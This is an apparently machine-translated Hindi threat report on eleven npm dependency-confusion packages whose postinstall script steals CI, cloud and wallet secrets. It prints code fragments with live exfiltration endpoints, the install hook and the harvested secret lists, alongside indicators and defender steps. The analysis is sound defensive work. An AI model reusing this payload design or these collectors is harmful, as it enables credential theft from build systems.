TL, डॉ
2026-06-17 को, एक एकल एनपीएम खाते ने प्रकाशित किया ग्यारह पैकेज जिनका एक ही उद्देश्य और एक ही पेलोड हैउनमें से दस लोग इसे ले जाते हैं। cryptodao- उपसर्ग (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ग्यारहवां दायराबद्ध है @public-for-cdao/coreसभी को संस्करण में प्रकाशित किया गया था। 99.99.99 और एक बाइट-समान जहाज recon.js यह चलता है postinstall.
नाम ही सब कुछ बयां करते हैं। ये किसी क्रिप्टो/डीएओ प्रोजेक्ट के निजी टूलचेन के आंतरिक बिल्डिंग ब्लॉक्स की तरह लगते हैं। इन्हें कृत्रिम रूप से उच्च संस्करण पर सार्वजनिक एनपीएम रजिस्ट्री पर प्रकाशित किया गया है, और ये बिल्ड होने की प्रतीक्षा में पड़े हैं। pipeline यह उन नामों को हल करने के लिए कॉन्फ़िगर किया गया है और यह निजी रजिस्ट्री से पहले या उसके बजाय सार्वजनिक npm तक पहुँचता है। यह है निर्भरता भ्रमऔर पेलोड को ठीक उसी स्थान के लिए ट्यून किया गया है जहां उसे उतरने की उम्मीद है: CI/CD धावकों.
. postinstall आग, recon.js मेज़बान के विवरण एकत्र करता है, मोटे तौर पर छानबीन करता है चालीस क्लाउड, सीआई और क्रिप्टो-वॉलेट पर्यावरण चर, किसी को पढ़ता है .env यह उन फाइलों को ढूंढता है जिनमें गुप्त जानकारी वाली पंक्तियाँ होती हैं और उन्हें हूबहू आगे भेजता है, फिर उस बंडल को दो संग्राहकों को भेज देता है। webhook.site और एक Pipedream एंडपॉइंट — जिसमें TLS प्रमाणपत्र सत्यापन अक्षम है। इसकी एक प्रति भी लिखी गई है। /tmp.
तीव्रता: उच्चप्रभावित पारिस्थितिकी तंत्र: NPMलेखन के समय सभी ग्यारह पैकेज लाइव थे।
आक्रमण शरीर रचना
इस तंत्र में चार गतिशील भाग हैं, और एक बार जब आप इन्हें समझ लेते हैं तो इनमें से कोई भी सूक्ष्म नहीं रह जाता। पैकेज के नाम के बाद एक परत आगे देखें।
1. रिजॉल्वर को लुभाने के लिए वर्जन इन्फ्लेशन। प्रत्येक पैकेज संस्करण घोषित करता है 99.99.99निर्भरता संबंधी भ्रम तब उत्पन्न होता है जब एक पैकेज मैनेजर, किसी अन्य पैकेज मैनेजर से अनुरोध करता है। आंतरिक नाम, सार्वजनिक रजिस्ट्री की भी जाँच करता है और उच्चतम संस्करण का चयन करता है। finds.npm का कर्सर या वाइल्डकार्ड रेंज के लिए डिफ़ॉल्ट चयन है प्रत्येक कॉन्फ़िगर किए गए स्रोत में उच्चतम संतोषजनक संस्करण; यदि दोनों एक निजी रजिस्ट्री और सार्वजनिक एनपीएम एक ही नाम के लिए जो उत्तर देते हैं, उसमें बड़ा संस्करण संख्या मान्य होता है। A 99.99.99 यह किसी भी वास्तविक आंतरिक संस्करण से कहीं बेहतर है जो किसी प्रोजेक्ट में होगा। पहुँच गया, इसलिए एक रिजॉल्वर जो निजी स्रोत से जुड़ा नहीं है, उसे प्राथमिकता देता है सार्वजनिक — और इस मामले में, शत्रुतापूर्ण — प्रतिलिपि। ऑपरेटर को यह जानने की आवश्यकता नहीं है कि लक्ष्य के वास्तविक संस्करण संख्याएँ; एक बेतुकी अधिकतम संख्या चुनना हमेशा टाई की गारंटी देता है। उनके पक्ष में जाता है।
2. एक पोस्टइंस्टॉल ट्रिगर। package.json पेलोड को इंस्टॉलेशन से जोड़ता है जीवन चक्र:
{ "scripts": { "postinstall": "node recon.js" } } पैकेज को आयात करने की कोई आवश्यकता नहीं है। केवल इसे इंस्टॉल करना ही काफी है — जो कि एक CI है। pipeline यह स्वचालित रूप से चलता है recon.js.
3. एक व्यापक गुप्त अभियान। recon.js परिणामों की एक सरणी को चरणों में एकत्रित करता है:
- होस्ट संदर्भ: होस्टनाम, प्लेटफ़ॉर्म और रिलीज़, आर्किटेक्चर, उपयोगकर्ता नाम, कार्यशील स्थिति निर्देशिका.
- पर्यावरण चर: यह लगभग चालीस नामों और अभिलेखों की एक निश्चित सूची पर पुनरावृति करता है। जो भी सेट किए गए हैं। यह सूची काफी जानकारीपूर्ण है — यह जेनेरिक CI टोकन को जोड़ती है। (सीआई_जॉब_टोकन, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) और बादल साख (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, एडब्ल्यूएस_सेशन_टोकन) रजिस्ट्री और कंटेनर रहस्यों के साथ (एनपीएम_टोकन, डॉकर_पासवर्ड, हार्बर_पासवर्ड) और एक विशिष्ट क्रिप्टो-शैली वाला क्लस्टर: निजी चाबी, स्मृति सहायक, बीज वाक्यांश, INFURA_API_KEY, ALCHEMY_API_KEY, ईटीएच_आरपीसी, बीएससी_आरपीसीरिकॉर्ड किए गए मानों को पहले 50 अक्षरों तक छोटा कर दिया जाता है।
- .env फ़ाइलें: यह पथों की एक सूची की जाँच करता है — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, और ।उत्पादन/।विकास वेरिएंट्स — और किसी भी मौजूदा फ़ाइल के लिए, यह सामग्री को उन पंक्तियों तक फ़िल्टर करता है जो मेल खाती हैं कुंजी|गुप्त|टोकन|पासवर्ड|निजी|स्मृति चिन्ह और उन पंक्तियों को **पूरी तरह से, बिना काटे** परिणामों में डाल देता है।
- बिल्ड-होस्ट संदर्भ: यह पहली 20 प्रविष्टियों को सूचीबद्ध करता है /निर्माण/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, तथा / Tmp /.
पथ सूची और चर सूची में GitLab रनर्स को प्राथमिकता दी गई है, जो इस ओर इशारा करता है। पेलोड सीधे डेवलपर के बजाय सेल्फ-होस्टेड सीआई इन्फ्रास्ट्रक्चर पर लक्षित है। लैपटॉप। फसल सूची को श्रेणी के अनुसार समूहित करने से इच्छित उपज स्पष्ट हो जाती है:
| वर्ग | पहुँचे चर/पथ |
|---|---|
| CI/CD पहचान और तैनाती | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| बादल | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| रजिस्ट्री और कंटेनर | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| डेटा स्टोर | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| क्रिप्टो / ब्लॉकचेन | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| संदेश | SLACK_TOKEN, DISCORD_TOKEN |
| डिस्क पर | .env परिवार + /home/gitlab-runner/.env, /root/.env, /app/**/.envनिर्देशिका सूची /builds/, /var/lib/gitlab-runner/ |
क्रिप्टो क्लस्टर ही वह हिस्सा है जो इसे एक सामान्य CI-सीक्रेट से अलग करता है। स्वीप: वॉलेट सीड वाक्यांश और हस्ताक्षर कुंजी केवल एक वातावरण में दिखाई देते हैं ब्लॉकचेन प्रोजेक्ट, और वे सीधे इससे मेल खाते हैं। क्रिप्टोडाओ-/संकेत/ठेके वाहकों का नामकरण।
4. सत्यापन अक्षम होने के साथ दोहरी डेटा निकासी। एकत्रित सरणी है क्रमबद्ध करके दो स्थानों पर POST किया गया:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) अस्वीकारअनधिकृत: गलत आउटबाउंड के लिए TLS प्रमाणपत्र जांच बंद करता है कॉल। वही डेटा stdout पर प्रिंट होता है (इसलिए यह CI जॉब लॉग में भी आ जाता है) और करने के लिए लिखा /tmp/.npm_recon_ .jsonगलतियों को चुपचाप दबा दिया जाता है, इसलिए असफल प्रेषण से इंस्टाल आउटपुट में एक के अलावा कोई निशान नहीं बचता। [जासूसी] स्थापना दिवस लाइन.
फाइल में दिए गए एक मुख्य टिप्पणी में इसे "निर्भरता भ्रम" के रूप में वर्णित किया गया है। टोही पेलोड।" पर्यावरण मूल्यों को 50 वर्णों तक छोटा करने से एक अवधारणा के प्रमाण का आकार। जो चीज़ इसे केवल उपस्थिति-आधारित बीकन से आगे ले जाती है, वह है... .env प्रक्रिया: गोपनीय जानकारी वाली पंक्तियाँ पूरी तरह से अग्रेषित की जाती हैं, और गंतव्य ये दो कार्यरत, हमलावर-नियंत्रित संग्राहक हैं न कि एक सिंक जो केवल गिनती करता है हिट।
समयरेखा
पब्लिश पैटर्न एक स्क्रिप्टेड पुश का सिग्नेचर है, ग्यारह का नहीं। स्वतंत्र अपलोड।
| समय (UTC, 2026-06-17) | कार्यक्रम |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 प्रकाशित |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — सीमित दायरे वाला संस्करण, लगभग 24 मिनट बाद |
29 सेकंड की अवधि के भीतर दस पैकेज भेजे गए, यानी लगभग हर तीन सेकंड में एक। दायरा @public-for-cdao/core इसके लगभग 24 मिनट बाद दूसरा हमला हुआ। यदि उपभोक्ता परियोजना संदर्भ देती है तो उसी लक्ष्य के लिए नामकरण सम्मेलन आंतरिक टूलचेन को केवल नामों के बजाय एक स्कोप के अंतर्गत रखा जाता है।
समझौते के संकेतक
| प्रकार | सूचक |
|---|---|
| कलेक्टर | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| कलेक्टर | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| हुक स्थापित करें | postinstall: node recon.js |
| ड्रॉप की गई फ़ाइल | /tmp/.npm_recon_<timestamp>.json |
| लॉग मार्कर | [recon] <pkg>@<ver> installed on <hostname> (CI लॉग में stdout) |
| व्यवहार | rejectUnauthorized: false इंस्टॉलेशन के दौरान आउटबाउंड HTTPS पर |
| पेलोड | recon.jsसभी ग्यारह पैकेजों में समान (एक साझा बिल्ड) |
| संस्करण | 99.99.99 प्रत्येक पैकेज पर |
| संकुल | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (सब 99.99.99) |
| प्रकाशक | aduljune / aduljune@proton.me (ईमेल सत्यापित नहीं है, कोई लिंक्ड सोर्स रिपॉजिटरी नहीं है) |
आरोपण एवं प्रेक्षित व्यवहार
क्लस्टर के बारे में सब कुछ एक ही ओर इशारा करता है। सभी ग्यारह पैकेज प्रकाशित हो चुके हैं। एनपीएम खाते द्वारा वयस्क जून (aduljune@proton.meएक अपुष्ट पता जिसमें कोई जानकारी नहीं है लिंक किए गए स्रोत रिपॉजिटरी), 25 मिनट के अंतराल के भीतर, उसी समय 99.99.99 संस्करण, शिपिंग recon.js जिसकी सामग्री प्रत्येक स्थान पर बाइट-दर-बाइट समान है पैकेज (सभी ग्यारह निकाली गई प्रतियों में MD5 मिलान)। यह एक पेलोड है। यह नामों की सूची में अंकित है, न कि स्वतंत्र कोड पुन: उपयोग।
नाम सूची लक्षित क्षेत्र को परिभाषित करती है। क्रिप्टोडाओ-* और cdao विवरण दें क्रिप्टो/डीएओ प्रोजेक्ट के निजी मॉड्यूल लेआउट और पेलोड की हार्वेस्ट सूची यह अनुमान को प्रतिबिंबित करता है: सामान्य सीआई और क्लाउड रहस्यों के साथ, यह विशेष रूप से के लिए पहुँचता है निजी चाबी, स्मृति सहायक, बीज वाक्यांशऔर एथेरियम/बीएससी आरपीसी और प्रदाता कुंजी। .env खोज पथ और निर्देशिका सूची GitLab-runner द्वारा संचालित हैं। विशिष्ट। इसका प्रत्यक्ष प्रभाव यह है कि कोई भी pipeline इन्हें इंस्टॉल करने के लिए धोखे में आ गया नाम अपने CI टोकन, क्लाउड कुंजी और ऑन-डिस्क को आगे बढ़ाएगा। .env रहस्य — और, के लिए एक ब्लॉकचेन प्रोजेक्ट, और इसकी वॉलेट सामग्री - दो तृतीय-पक्ष संग्राहकों को सौंपी गई।
हम इस बारे में कोई दावा नहीं करते कि खाता कौन संचालित करता है या वे इसका क्या करने की योजना बना रहे थे। आंकड़े। वे तथ्य जो अपने आप में पर्याप्त हैं: ये नाम एक विशिष्ट प्रकार को लक्षित करते हैं। आंतरिक टूलचेन के माध्यम से, पेलोड वास्तविक गुप्त मानों को पढ़ता और प्रसारित करता है, और बुनियादी ढांचा चालू था।
प्रभाव, रुझान और रक्षक मार्गदर्शन
निर्भरता भ्रम यह प्रभावी बना रहता है क्योंकि यह रिजॉल्वर व्यवहार का फायदा उठाता है, न कि किसी अन्य कारक का। किसी भी पैकेज में भेद्यता। यहाँ वाहक तुच्छ है - ग्यारह लगभग खाली पैकेज — लेकिन विस्फोट का दायरा कुछ भी हो सकता है pipeline गलती से सार्वजनिक एनपीएम को प्राथमिकता देता है आंतरिक नाम के लिए। CI रनर इसके लिए सबसे खराब जगह हैं: वे डेटा रखते हैं। ठीक वही टोकन और .env यह पेलोड जिन फ़ाइलों को पढ़ता है, उन्हें इंस्टॉल कर देता है। निर्भरताएँ गैर-अंतःक्रियात्मक रूप से, इसलिए एक पोस्टइंस्टॉल बिना किसी की निगरानी के दौड़ना।
यह क्लस्टर भी एक ऐसे पैटर्न में फिट बैठता है जिसे हम बार-बार देखते हैं: इंस्टॉलेशन के समय के पेलोड जो प्रस्तुत करते हैं वास्तविक प्रमाण पत्र संग्रह करते समय इसे "अनुसंधान" या "जांच" के रूप में दर्शाया जाता है। फ़ाइल में बदलाव रनर पर कोड के कार्य को नहीं बदलता है। दो डिज़ाइन विकल्प इसे बनाए रखते हैं। गतिविधि शांत है: प्रत्येक नेटवर्क और फ़ाइल सिस्टम ऑपरेशन को एक में लपेटा गया है एक अपवाद हैंडलर जो त्रुटियों को अनदेखा करता है, जैसे कि अवरुद्ध प्रेषण या गुम फ़ाइल। यह कोई नैदानिक आउटपुट नहीं देता है, और केवल एक हानिरहित चीज़ प्रिंट होती है। [जांच] … स्थापित वह पंक्ति जो सामान्य इंस्टॉलेशन संबंधी बातचीत में घुलमिल जाती है। इसका उपयोग वेबहुक.साइट और Pipedream भी जानबूझकर सुविधाजनक बनाया गया है — दोनों मुफ्त हैं। अनुरोध-प्राप्ति सेवाओं को तुरंत उपलब्ध कराया जाता है, इसलिए ऑपरेटर को किसी सर्वर की आवश्यकता नहीं होती है। उनके अपने और गंतव्य निकास लॉग में सामान्य SaaS होस्टनाम की तरह दिखते हैं।
भले ही आर्थिक पहलू ही इसे बचाव पक्ष के लिए ध्यान देने योग्य बनाते हों, फिर भी कैरियर कोड बहुत सरल है। ग्यारह नाम पंजीकृत करने में कोई खर्च नहीं होता, पेलोड केवल एक ही होता है। फ़ाइल को ग्यारह बार कॉपी किया गया, और पैकेज मैनेजर ने सारा निष्पादन किया। गलत तरह से कॉन्फ़िगर pipeline इनमें से किसी भी नाम का उपयोग करने वाला कोई भी स्थान पूरे खर्च का भुगतान करता है। ऑपरेशन।
रक्षकों के लिए ठोस कदम:
- आंतरिक स्कोप को अपनी निजी रजिस्ट्री से पिन करें। npm को इस प्रकार कॉन्फ़िगर करें कि आंतरिक नाम
और स्कोप केवल आपकी रजिस्ट्री के विरुद्ध ही हल होते हैं (स्कोपेड .npmrc रजिस्ट्री मैपिंग)। या फिर एक प्रॉक्सी जो स्वामित्व वाले नेमस्पेस के लिए कभी भी सार्वजनिक एनपीएम तक नहीं पहुंचती है। अपने सार्वजनिक स्कोप नामों को आरक्षित रखें ताकि कोई और उन्हें पंजीकृत न कर सके।
- Commit lockfiles और install with –ignore-scripts सीआई में जहां संभव हो, या उन चुनिंदा निर्भरताओं की जांच करें जिन्हें वास्तव में इंस्टॉल स्क्रिप्ट की आवश्यकता है। recon.js नहीं चल सकता यदि पोस्टइंस्टॉल निष्पादित नहीं किया जाता है।
- किसी आंतरिक नाम के 99.99.99 (या अन्य अत्यधिक उच्च) संस्करण के साथ व्यवहार करें। खतरे के संकेत के रूप में निर्भरता समीक्षा और रजिस्ट्री निगरानी में।
- इंस्टॉलेशन के समय निकास पर अलर्ट। A पोस्टइंस्टॉल जो आउटबाउंड HTTPS खोलता है कनेक्शन — विशेष रूप से प्रमाणपत्र सत्यापन अक्षम होने पर — webhook.site, Pipedream, या इसी तरह की अनुरोध-कैप्चर सेवाओं को नेटवर्क एज पर ब्लॉक करना और बिल्ड लॉग में चिह्नित करना उचित है।
- कलाकृतियों की खोज करें। धावकों की जाँच करें /tmp/.npm_recon_*.json और के लिए [recon] … हाल के CI लॉग में … मार्कर पर स्थापित किया गया। यदि पाया जाता है, तो प्रत्येक को घुमाएँ वह प्रमाण पत्र जो इसके संपर्क में आया pipeline — CI टोकन, क्लाउड कुंजी, रजिस्ट्री टोकन, और वातावरण या .env फ़ाइलों में मौजूद कोई भी वॉलेट सीड या निजी कुंजी।
संदर्भ
लेखन के समय इस समूह पर कोई बाहरी रिपोर्टिंग मौजूद नहीं थी; विश्लेषण उपरोक्त जानकारी सीधे प्रकाशित पैकेज सामग्री पर आधारित है।




